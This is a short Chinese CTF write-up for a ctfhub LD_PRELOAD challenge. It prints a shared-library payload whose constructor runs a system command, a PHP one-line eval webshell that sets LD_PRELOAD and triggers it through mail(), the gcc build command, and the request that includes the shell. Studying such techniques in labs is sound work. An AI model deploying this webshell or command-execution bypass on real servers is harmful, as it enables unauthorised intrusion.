针对一道ctfhub上的LD_PRELOAD,我进行了为期三天的学习和总结,以下是总结和收集的资料,由于是在onenote上作的笔记,就不在花功夫对文字进行编辑了,大家自行阅览,希望能对你起到帮助。
接下来我给出的wp。
一,蚁剑连接
二,创建hack.c并转共享hack.so
hack.c代码
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/sunian");
}
利用gcc进行编译。
gcc -shared -fPIC hack.c -o hack.so
三,设置环境变量
sunian.php源码
<?php
@eval($_REQUEST['ant']);
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("admin",1);
mail("admin@localhost","","","","");
?>
并将hack.so放入/tmp目录下。
将sunian.php直接拖入蚁剑的html目录下。
这里要注意‘,’的问题。
四,利用playload运行连接动态连接库的sunian.php
GET请求包含sunian.php
url/?ant=include(%27sunian.php%27);
http://challenge-3d1303d54c4a9b70.sandbox.ctfhub.com:10080/?ant=include(%27sunian.php%27);
根据源码,flag就在生成的sunian文件中。
最后,这道题涉及的知识一定不仅仅只有本文所述内容,还请各位CTFer,多多指正。